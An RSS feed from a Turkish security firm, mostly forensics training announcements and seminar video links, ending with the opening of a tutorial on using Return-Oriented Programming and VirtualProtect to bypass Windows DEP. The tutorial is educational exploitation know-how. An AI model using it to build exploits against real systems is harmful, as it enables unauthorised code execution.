<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ADEO Security Labs</title>
	<atom:link href="http://www.adeosecurity.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.adeosecurity.com</link>
	<description>ADEO Security Labs</description>
	<lastBuildDate>Tue, 31 Jan 2012 13:04:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>EMEA Intelligence Konferansına Özel Windows Forensics Eğitimi</title>
		<link>http://www.adeosecurity.com/guvenlik/emea-intelligence-konferansina-ozel-windows-forensics-egitimi/</link>
		<comments>http://www.adeosecurity.com/guvenlik/emea-intelligence-konferansina-ozel-windows-forensics-egitimi/#comments</comments>
		<pubDate>Tue, 31 Jan 2012 13:04:24 +0000</pubDate>
		<dc:creator>Halil Öztürkci</dc:creator>
				<category><![CDATA[Digital Forensics]]></category>
		<category><![CDATA[Duyuru]]></category>
		<category><![CDATA[Eğitim]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Seminer]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=542</guid>
		<description><![CDATA[&#160; ADEO Security Labs ekibi olarak 29 Şubat-2 Mart  tarihleri arasında düzenlenecek EMEA Intelligence Konferansı’da  bir günlük özel “Windows Forensics” eğitimi düzenliyoruz. Sadece konferansa özel düzenlenen bu eğitimde bir Windows ortamından elde edilebilecek sayısal delillerin neler olabileceğini detaylarıyla ele alacağız. Eğitim detayları aşağıdaki gibidir. Sınırlı sayıda kişinin katılbileceği bu eğitim için sebnem.senturk@adeo.com.tr adresine başvuruda bulunabilirsiniz.. [...]]]></description>
			<content:encoded><![CDATA[<p>&nbsp;</p>
<p>ADEO Security Labs ekibi olarak 29 Şubat-2 Mart  tarihleri arasında düzenlenecek EMEA Intelligence Konferansı’da  <strong>bir günlük</strong> özel “<strong>Windows Forensics</strong>” eğitimi düzenliyoruz. Sadece konferansa özel düzenlenen bu eğitimde bir Windows ortamından elde edilebilecek sayısal delillerin neler olabileceğini detaylarıyla ele alacağız. Eğitim detayları aşağıdaki gibidir. Sınırlı sayıda kişinin katılbileceği bu eğitim için <a href="mailto:sebnem.senturk@adeo.com.tr">sebnem.senturk@adeo.com.tr</a> adresine başvuruda bulunabilirsiniz..</p>
<p><strong> </strong></p>
<p><strong>Eğitim Adı: </strong><strong>Windows Forensics</strong></p>
<p><strong>Kimler Katılabilir : </strong>Bilgi Güvenliği Uzmanları, Kurum İçi Adli Bilişim İncelemesi Gerçekleştiren IT Uzmanları, IT Denetçileri, Bilişim Suçları İle İlgilenen Kolluk Kuvveti Çalışanları, Adli Bilişim Konusunda Uzmanlaşmak İsteyen IT Çalışanları</p>
<p><strong>Eğitim Tarihi :</strong> 1 Mart 2012</p>
<p><strong>Eğitimin İçeriği :</strong></p>
<ul>
<li>Windows Live Response</li>
<li>What is Volatile Data in a Windows System</li>
<li>RFC 3227- Guidelines for Evidence Collection and Archiving</li>
<li>System Time, Running Processes, Clipboard, Logged Users, Open Files, Network Status, Command History etc..</li>
<li>What is Registry Forensics</li>
<li>Registry Hives</li>
<li>Registry Analysis Tools-Live Analysis</li>
<li>Registry Analysis Tools-Offline Analysis</li>
<li>Understanding the Event Logs</li>
<li>Event Logs Categories</li>
<li>Examining System Log Entries</li>
<li>Examining Application Log Entries</li>
<li>Windows Shadow Copy Analysis</li>
<li>Superfetch and Prefetc</li>
</ul>
<p><strong>Eğitim Ücreti :</strong> 150 TL+KDV</p>
<p>Eğitim katılımcıları, kendi adlarında düzenlenmiş katılımcı kartları ile EMEA Intelligence Konferansının tamamına <strong>ücretsiz</strong> katılabileceklerdir.</p>
<p><strong>Eğitim Yeri :</strong> EMEA Intelligence Konferansı ve Sergisi &#8211; Harbiye Askeri Müzesi</p>
<p><strong>Eğitmen</strong> :Halil ÖZTÜRKCİ (www.halilozturkci.com)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/guvenlik/emea-intelligence-konferansina-ozel-windows-forensics-egitimi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ADEO Security Labs Adli Bilişim Eğitimleri Duyurusu</title>
		<link>http://www.adeosecurity.com/genel/adeo-security-labs-adli-bilisim-egitimleri-duyurusu/</link>
		<comments>http://www.adeosecurity.com/genel/adeo-security-labs-adli-bilisim-egitimleri-duyurusu/#comments</comments>
		<pubDate>Wed, 11 Jan 2012 09:15:13 +0000</pubDate>
		<dc:creator>Halil Öztürkci</dc:creator>
				<category><![CDATA[Digital Forensics]]></category>
		<category><![CDATA[Duyuru]]></category>
		<category><![CDATA[Eğitim]]></category>
		<category><![CDATA[Genel]]></category>
		<category><![CDATA[Malware Analiz]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[adeo]]></category>
		<category><![CDATA[adli bilişim]]></category>
		<category><![CDATA[anti-forensics]]></category>
		<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[forensics]]></category>
		<category><![CDATA[linux forensics]]></category>
		<category><![CDATA[malware forensics]]></category>
		<category><![CDATA[mobile forensics]]></category>
		<category><![CDATA[network forensics]]></category>
		<category><![CDATA[windows forensics]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=535</guid>
		<description><![CDATA[Uzun süredir merakla beklenen ADEO Security Labs Adli Bilişim Eğitimlerine 30 Ocak’da Windows Forensics eğitimi ile başlıyoruz. Ülkemizdeki Adli Bilişim uzmanı açığını kapatmayı amaçlayan bu eğitimlerin tüm ders notları ve eğitimin dili Türkçe olacaktır. Katılımcılara eğitim başlangıcında ders notları ile birlikte laboratuvar DVD’leri dağıtılacaktır. Eğitimlerde sadece teorik bilgi anlatılmayacak, örnek olaylar ve laboratuvar çalışmaları ile [...]]]></description>
			<content:encoded><![CDATA[<p>U<span style="color: #1f497d;">zun süredir merakla beklenen ADEO Security Labs Adli Bilişim Eğitimlerine 30 Ocak’da Windows Forensics eğitimi ile başlıyoruz. Ülkemizdeki Adli Bilişim uzmanı açığını kapatmayı amaçlayan bu eğitimlerin tüm ders notları ve eğitimin dili Türkçe olacaktır. Katılımcılara eğitim başlangıcında ders notları ile birlikte laboratuvar DVD’leri dağıtılacaktır.<br />
</span></p>
<p class="MsoNormal"><span style="color: #1f497d;">Eğitimlerde sadece teorik bilgi anlatılmayacak, örnek olaylar ve laboratuvar çalışmaları ile desteklenecektir. Gerçek olaylara yakın senaryolar üzerinden hazırlanan dijital delil dosyaları üzerinde yapılacak laboratuvar çalışmaları ile katılımcıların öğrendikleri teorik bilgileri pratiğe dökmeleri sağlanacaktır.  Bunun yanında, eğitimde işlenen konularla katılımcılar SANS’ın <a title="GIAC Certified Forensics Examiner" href="http://www.giac.org/certifications/Forensics/gcfe.php"><span style="color: #1f497d; text-decoration: none; text-underline: none;">GCFE</span></a> ve GCFA sertifikaları ile EC-Council’ın CHFI (Computer Hacking Forensic Investigator) sertifikalarına hazırlanmış olacaklardır.</span></p>
<div class="WordSection1">
<p class="MsoNormal"><span style="color: #1f497d;"> Eğitimler ADEO’nun İstanbul ofisinde gerçekleştirilecektir ve eğitim sınıfları 15 kişi ile sınırlıdır. </span></p>
<p class="MsoNormal"><span style="color: #1f497d;"> </span><strong><span style="font-size: 14.0pt; color: #1f497d;">ADEO Security Labs Adli Bilişim Eğitimleri</span></strong></p>
<table class="MsoNormalTable" style="width: 405.0pt; margin-left: -1.15pt; border-collapse: collapse; mso-yfti-tbllook: 1184; mso-padding-alt: 0cm 0cm 0cm 0cm;" width="538" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr style="mso-yfti-irow: 0; mso-yfti-firstrow: yes; height: 15.0pt;">
<td style="width: 206.0pt; border: solid windowtext 1.0pt; background: #4F81BD; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="275">
<p class="MsoNormal"><strong><span style="color: white;">Eğitim Adı</span></strong></p>
</td>
<td style="width: 88.0pt; border: solid windowtext 1.0pt; border-left: none; background: #4F81BD; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="117">
<p class="MsoNormal"><strong><span style="color: white;">Süre</span></strong></p>
</td>
<td style="width: 111.0pt; border: solid windowtext 1.0pt; border-left: none; background: #4F81BD; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="148">
<p class="MsoNormal"><strong><span style="color: white;">Eğitim Tarihi</span></strong></p>
</td>
</tr>
<tr style="mso-yfti-irow: 1; height: 15.0pt;">
<td style="width: 206.0pt; border: solid windowtext 1.0pt; border-top: none; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="275">
<p class="MsoNormal"><span style="color: black;">Windows Forensics </span></p>
</td>
<td style="width: 88.0pt; border-top: none; border-left: none; border-bottom: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="117">
<p class="MsoNormal"><span style="color: black;">5 Gün</span></p>
</td>
<td style="width: 111.0pt; border-top: none; border-left: none; border-bottom: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" valign="bottom" nowrap="nowrap" width="148">
<p class="MsoNormal"><span style="color: black;">30 Ocak-3 Şubat</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 2; height: 15.0pt;">
<td style="width: 206.0pt; border: solid windowtext 1.0pt; border-top: none; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="275">
<p class="MsoNormal"><span style="color: black;">File Systems Forensics</span></p>
</td>
<td style="width: 88.0pt; border-top: none; border-left: none; border-bottom: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="117">
<p class="MsoNormal"><span style="color: black;">3 Gün</span></p>
</td>
<td style="width: 111.0pt; border-top: none; border-left: none; border-bottom: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" valign="bottom" nowrap="nowrap" width="148">
<p class="MsoNormal"><span style="color: black;">20-21-22 Şubat</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 3; height: 15.0pt;">
<td style="width: 206.0pt; border: solid windowtext 1.0pt; border-top: none; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" valign="bottom" nowrap="nowrap" width="275">
<p class="MsoNormal"><span style="color: black;">Hukukçular İçin Adli Bilişim</span></p>
</td>
<td style="width: 88.0pt; border-top: none; border-left: none; border-bottom: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="117">
<p class="MsoNormal"><span style="color: black;">2 Gün</span></p>
</td>
<td style="width: 111.0pt; border-top: none; border-left: none; border-bottom: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" valign="bottom" nowrap="nowrap" width="148">
<p class="MsoNormal"><span style="color: black;">27-28 Şubat</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 4; height: 15.0pt;">
<td style="width: 206.0pt; border: solid windowtext 1.0pt; border-top: none; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="275">
<p class="MsoNormal"><span style="color: black;">Linux Forensics</span></p>
</td>
<td style="width: 88.0pt; border-top: none; border-left: none; border-bottom: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="117">
<p class="MsoNormal"><span style="color: black;">3 Gün</span></p>
</td>
<td style="width: 111.0pt; border-top: none; border-left: none; border-bottom: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" valign="bottom" nowrap="nowrap" width="148">
<p class="MsoNormal"><span style="color: black;">7-8-9 Mart</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 5; height: 15.0pt;">
<td style="width: 206.0pt; border: solid windowtext 1.0pt; border-top: none; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="275">
<p class="MsoNormal"><span style="color: black;">IT Denetçileri İçin Adli Bilişim</span></p>
</td>
<td style="width: 88.0pt; border-top: none; border-left: none; border-bottom: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="117">
<p class="MsoNormal"><span style="color: black;">3 Gün</span></p>
</td>
<td style="width: 111.0pt; border-top: none; border-left: none; border-bottom: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" valign="bottom" nowrap="nowrap" width="148">
<p class="MsoNormal"><span style="color: black;">14-15-16 Mart</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 6; height: 15.0pt;">
<td style="width: 206.0pt; border: solid windowtext 1.0pt; border-top: none; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="275">
<p class="MsoNormal"><span style="color: black;">Network Forensics</span></p>
</td>
<td style="width: 88.0pt; border-top: none; border-left: none; border-bottom: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="117">
<p class="MsoNormal"><span style="color: black;">3 Gün</span></p>
</td>
<td style="width: 111.0pt; border-top: none; border-left: none; border-bottom: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" valign="bottom" nowrap="nowrap" width="148">
<p class="MsoNormal"><span style="color: black;">21-22-23 Mart</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 7; height: 15.0pt;">
<td style="width: 206.0pt; border: solid windowtext 1.0pt; border-top: none; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="275">
<p class="MsoNormal"><span style="color: black;">Malware Forensics</span></p>
</td>
<td style="width: 88.0pt; border-top: none; border-left: none; border-bottom: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="117">
<p class="MsoNormal"><span style="color: black;">3 Gün</span></p>
</td>
<td style="width: 111.0pt; border-top: none; border-left: none; border-bottom: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" valign="bottom" nowrap="nowrap" width="148">
<p class="MsoNormal"><span style="color: black;">4-5-6 Nisan</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 8; height: 15.0pt;">
<td style="width: 206.0pt; border: solid windowtext 1.0pt; border-top: none; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="275">
<p class="MsoNormal"><span style="color: black;">Mobile Forensics</span></p>
</td>
<td style="width: 88.0pt; border-top: none; border-left: none; border-bottom: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="117">
<p class="MsoNormal"><span style="color: black;">3 Gün</span></p>
</td>
<td style="width: 111.0pt; border-top: none; border-left: none; border-bottom: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" valign="bottom" nowrap="nowrap" width="148">
<p class="MsoNormal"><span style="color: black;">18-19-20 Nisan</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 9; mso-yfti-lastrow: yes; height: 15.0pt;">
<td style="width: 206.0pt; border: solid windowtext 1.0pt; border-top: none; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="275">
<p class="MsoNormal"><span style="color: black;">Anti-Forensics ve Anti Anti-Forensics</span></p>
</td>
<td style="width: 88.0pt; border-top: none; border-left: none; border-bottom: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" nowrap="nowrap" width="117">
<p class="MsoNormal"><span style="color: black;">3 Gün</span></p>
</td>
<td style="width: 111.0pt; border-top: none; border-left: none; border-bottom: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.0pt;" valign="bottom" nowrap="nowrap" width="148">
<p class="MsoNormal"><span style="color: black;">2-3-4 Mayıs</span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span style="color: #1f497d;">Eğitim detayları,fiyatlar  ve içerik bilgisi için</span>  <a href="mailto:sebnem.senturk@adeo.com.tr">sebnem.senturk@adeo.com.tr</a><span style="color: #1f497d;"> veya</span> <a href="mailto:halil.ozturkci@adeo.com.tr">halil.ozturkci@adeo.com.tr</a> <span style="color: #1f497d;">adresine mail atabilirsiniz.</span></p>
<p class="MsoNormal"><span style="color: #1f497d;">Adli Bilişim Eğitimleri, Halil ÖZTÜRKCİ tarafından verilecektir.  Eğitmenimiz ile ilgili detaylı bilgilere </span> <a href="http://www.halilozturkci.com/?page_id=2">http://www.halilozturkci.com/?page_id=2</a> ve <a href="http://www.halilozturkci.com/?page_id=177">http://www.halilozturkci.com/?page_id=177</a><span style="color: #1f497d;"> adreslerinden ulasabilirsiniz.</span></p>
<p class="MsoNormal"><span style="color: #1f497d;">Not: Kurumlar tarafından talep edilmesi halinde, bu eğitimler  “özelleştirilmiş” olarak verilebilmektedir. Detaylı bilgi almak için</span> <a href="mailto:halil.ozturkci@adeo.com.tr">halil.ozturkci@adeo.com.tr</a> <span style="color: #1f497d;">yada</span> <a href="mailto:sebnem.senturk@adeo.com.tr">sebnem.senturk@adeo.com.tr</a><span style="color: #1f497d;"> adresine mail atabilirsiniz.</span></p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/genel/adeo-security-labs-adli-bilisim-egitimleri-duyurusu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ADEO Security Labs Güvenlik Günleri-22 Ekim 2011 Sunum Videoları</title>
		<link>http://www.adeosecurity.com/guvenlik/adeo-security-labs-guvenlik-gunleri-22-ekim-2011-sunum-videolari/</link>
		<comments>http://www.adeosecurity.com/guvenlik/adeo-security-labs-guvenlik-gunleri-22-ekim-2011-sunum-videolari/#comments</comments>
		<pubDate>Wed, 26 Oct 2011 09:50:51 +0000</pubDate>
		<dc:creator>Halil Öztürkci</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Digital Forensics]]></category>
		<category><![CDATA[Eğitim]]></category>
		<category><![CDATA[Exploiting]]></category>
		<category><![CDATA[Information Gathering]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Seminer]]></category>
		<category><![CDATA[Web Application Security]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=532</guid>
		<description><![CDATA[22 Ekim Cumartesi günü sonuncusunu gerçekleştirdiğimiz ADEO Security Labs Güvenlik Günleri&#8217;ne ait sunumlara ilişkin videoları aşağı bulabilirsiniz. Bizler bu seminerlerden ADEO Security Labs ekibi olarak çok keyif aldık, umarız bu seminerlere katılanlar, katılamayıp videoları izleme imkanı bulan sizler için de keyifli ve faydalı bir organizasyon olmuştur. En yakın zamanda yine güvenliğin konuşulduğu yeni organizasyonlarda bir [...]]]></description>
			<content:encoded><![CDATA[<p>22 Ekim Cumartesi günü sonuncusunu gerçekleştirdiğimiz ADEO Security Labs Güvenlik Günleri&#8217;ne ait sunumlara ilişkin videoları aşağı bulabilirsiniz. Bizler bu seminerlerden ADEO Security Labs ekibi olarak çok keyif aldık, umarız bu seminerlere katılanlar, katılamayıp videoları izleme imkanı bulan sizler için de keyifli ve faydalı bir organizasyon olmuştur. En yakın zamanda yine güvenliğin konuşulduğu yeni organizasyonlarda bir arada olmak dileğiyle.</p>
<p><iframe src="http://player.vimeo.com/video/31097637" width="440" height="330" frameborder="0" webkitAllowFullScreen allowFullScreen></iframe></p>
<p><iframe src="http://player.vimeo.com/video/31130950" width="440" height="330" frameborder="0" webkitAllowFullScreen allowFullScreen></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/guvenlik/adeo-security-labs-guvenlik-gunleri-22-ekim-2011-sunum-videolari/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ADEO Security Labs Güvenlik Günleri-8 Ekim 2011 Sunum Videoları</title>
		<link>http://www.adeosecurity.com/guvenlik/adeo-security-labs-guvenlik-gunleri-8-ekim-2011-sunum-videolari/</link>
		<comments>http://www.adeosecurity.com/guvenlik/adeo-security-labs-guvenlik-gunleri-8-ekim-2011-sunum-videolari/#comments</comments>
		<pubDate>Thu, 20 Oct 2011 08:10:13 +0000</pubDate>
		<dc:creator>Halil Öztürkci</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Debugging]]></category>
		<category><![CDATA[Digital Forensics]]></category>
		<category><![CDATA[Eğitim]]></category>
		<category><![CDATA[Exploiting]]></category>
		<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Seminer]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=526</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><iframe src="http://player.vimeo.com/video/30380187" frameborder="0" width="504" height="400"></iframe></p>
<p><iframe src="http://player.vimeo.com/video/30836191?title=0&amp;byline=0&amp;portrait=0" frameborder="0" width="504" height="378"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/guvenlik/adeo-security-labs-guvenlik-gunleri-8-ekim-2011-sunum-videolari/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ADEO Security Labs Güvenlik Günleri-10 Eylül 2011 Sunum Videoları</title>
		<link>http://www.adeosecurity.com/genel/adeo-security-labs-guvenlik-gunleri-10-eylul-2011-sunum-videolari/</link>
		<comments>http://www.adeosecurity.com/genel/adeo-security-labs-guvenlik-gunleri-10-eylul-2011-sunum-videolari/#comments</comments>
		<pubDate>Tue, 27 Sep 2011 14:49:29 +0000</pubDate>
		<dc:creator>Halil Öztürkci</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Digital Forensics]]></category>
		<category><![CDATA[Exploiting]]></category>
		<category><![CDATA[Genel]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[File System Forensics]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=519</guid>
		<description><![CDATA[File Sistem Forensics &#8211; 1 from adeosecurity on Vimeo. File Sistem Forensics &#8211; 2 from adeosecurity on Vimeo. Art of Fuzzing from adeosecurity on Vimeo.]]></description>
			<content:encoded><![CDATA[<p><iframe src="http://player.vimeo.com/video/29659495" frameborder="0" width="400" height="300"></iframe></p>
<p><a href="http://vimeo.com/29659495">File Sistem Forensics &#8211; 1</a> from <a href="http://vimeo.com/adeosecurity">adeosecurity</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p><iframe src="http://player.vimeo.com/video/29662555" frameborder="0" width="400" height="300"></iframe></p>
<p><a href="http://vimeo.com/29662555">File Sistem Forensics &#8211; 2</a> from <a href="http://vimeo.com/adeosecurity">adeosecurity</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p><iframe src="http://player.vimeo.com/video/29663559" frameborder="0" width="400" height="300"></iframe></p>
<p><a href="http://vimeo.com/29663559">Art of Fuzzing</a> from <a href="http://vimeo.com/adeosecurity">adeosecurity</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/genel/adeo-security-labs-guvenlik-gunleri-10-eylul-2011-sunum-videolari/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Return-Oriented Programming / DEP Bypass</title>
		<link>http://www.adeosecurity.com/exploiting/return-oriented-programming-dep-bypass/</link>
		<comments>http://www.adeosecurity.com/exploiting/return-oriented-programming-dep-bypass/#comments</comments>
		<pubDate>Wed, 27 Jul 2011 10:55:39 +0000</pubDate>
		<dc:creator>Canberk Bolat</dc:creator>
				<category><![CDATA[Exploiting]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=462</guid>
		<description><![CDATA[Giriş &#8220;Neden ROP tekniğine ihtiyaç duyuyoruz?&#8221; sorusuna cevap olarak DEP diyebiliriz. DEP, Windows sistemlerde Stack&#8217;in NX (No eXecute) yani üzerinde kod çalıştırılamaz hale getirilmesini sağlayan bir korunma yöntemidir (Açılımı &#8220;Data Execution Prevention&#8220;). ROP ise Windows&#8217;un DEP korumasını aşmak ve NX Stack üzerinde kod çalıştırabilmek için kullanılan bir tekniktir. Daha önce exploiting ile uğraşmış olanlar bilirler, [...]]]></description>
			<content:encoded><![CDATA[<h2><strong>Giriş</strong></h2>
<p>&#8220;<em>Neden ROP tekniğine ihtiyaç duyuyoruz?</em>&#8221; sorusuna cevap olarak DEP diyebiliriz. DEP, Windows sistemlerde Stack&#8217;in NX (<em>No eXecute</em>) yani üzerinde kod çalıştırılamaz hale getirilmesini sağlayan bir korunma yöntemidir (Açılımı &#8220;<em>Data Execution Prevention</em>&#8220;). ROP ise Windows&#8217;un DEP korumasını aşmak ve NX Stack üzerinde kod çalıştırabilmek için kullanılan bir tekniktir.</p>
<p>Daha önce exploiting ile uğraşmış olanlar bilirler, <strong>ret2lib</strong> tekniğini. ROP tekniğide işte tam bu tekniğin yaptığını peşpeşe birçok adrese &#8220;return&#8221; olarak yapıyor ve bir şekilde stack&#8217;i üzerinde kod çalıştırılabilir hale getiriyor ya da Memory&#8217;de RWX bir alana Shellcode&#8217;unuzu yazmanızı ve çalıştırmanızı sağlıyor (<em>DEP Bypass için birçok yöntem mevcut..</em>). Yani genel amaç mevcut olan kodları register&#8217;lardaki değerleri değiştirmek, kullanacağınız API&#8217;nin parametrelerini ayarlamak v.b için tekrar kullanmaktır. Mevcut olan kodlardan kastımız ise gadget&#8217;lar olarak geçen kod parçaları. Tanım kolay gözüksede birazdan makalenin uygulama kısmında mevcut kodlar ile kod yazmanın zorluklarını çekeceğiz.<br />
<span id="more-462"></span><br />
ROP için kısacası şunları diyebiliriz;</p>
<ul>
<li>ret2lib tekniğine benzer</li>
<li>Code Re-use işlemine dayanmaktadır</li>
<li>DEP Bypass için idealdir</li>
<li>Gadget&#8217;lar kullanılmaktadır</li>
</ul>
<p>Bu makalede VirtualProtect API&#8217;si ile Shellcode&#8217;umuzun hafızada bulunduğu alanı çalıştırılabilir hale getirerek oraya zıplayacağız. VirtualProtect Tekniğini seçmemin sebebi birçok farklı Windows sistemde işe yarıyor olması.</p>
<p>VirtualProtect fonksiyonunun yapısı aşağıdaki şekildeki gibidir.</p>
<table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td style="text-align: center;"><a style="margin-left: auto; margin-right: auto;" href="http://adeosecurity.com/images/dep-bypass/virtualProtect.png"><img src="http://adeosecurity.com/images/dep-bypass/virtualProtect.png" alt="" width="400" height="145" border="0" /></a></td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">VirtualProtect Fonksiyonu [1]</td>
</tr>
</tbody>
</table>
<ul>
<li><strong>Return Address</strong>, stack&#8217;de ilk olarak return adres belirtmemiz gerekiyor ki VP fonksiyonu işlemini tamamladığında o adrese geri dönsün.</li>
<li><strong>lpAddress</strong> parametresine VP fonksiyonunun korunma şeklini değiştireceği alana işaret eden bir adres girmemiz gerekiyor.</li>
<li><strong>dwSize</strong> parametresine VP fonksiyonunun korunma şeklini değiştireceği alanın uzunluğunu girmemiz gerekiyor.</li>
<li><strong>flNewProtect</strong> parametresine hafızanın korunma şeklini belirten sabitlerden bir değeri girmemiz gerekiyor. Bu sabitler Şekil-2&#8242;deki gibidir.</li>
<li><strong>lpflOldProtect</strong> parametresine ise yazılabilir bir hafıza alanından pointer girmemiz gerekiyor, zira VP fonksiyonu bir önceki korunma şekline bakıyor aksi takdirde fonksiyonu başarısız oluyor. Yani bizim gireceğimiz yazılabilir hafıza alanına ait sahte adres VP fonksiyonunu kandırıyor.</li>
</ul>
<table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td style="text-align: center;"><a style="margin-left: auto; margin-right: auto;" href="http://adeosecurity.com/images/dep-bypass/MemoryProtectionConstants.png"><img src="http://adeosecurity.com/images/dep-bypass/MemoryProtectionConstants.png" alt="" width="400" height="172" border="0" /></a></td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">Memory Protection Constants [2]</td>
</tr>
</tbody>
</table>
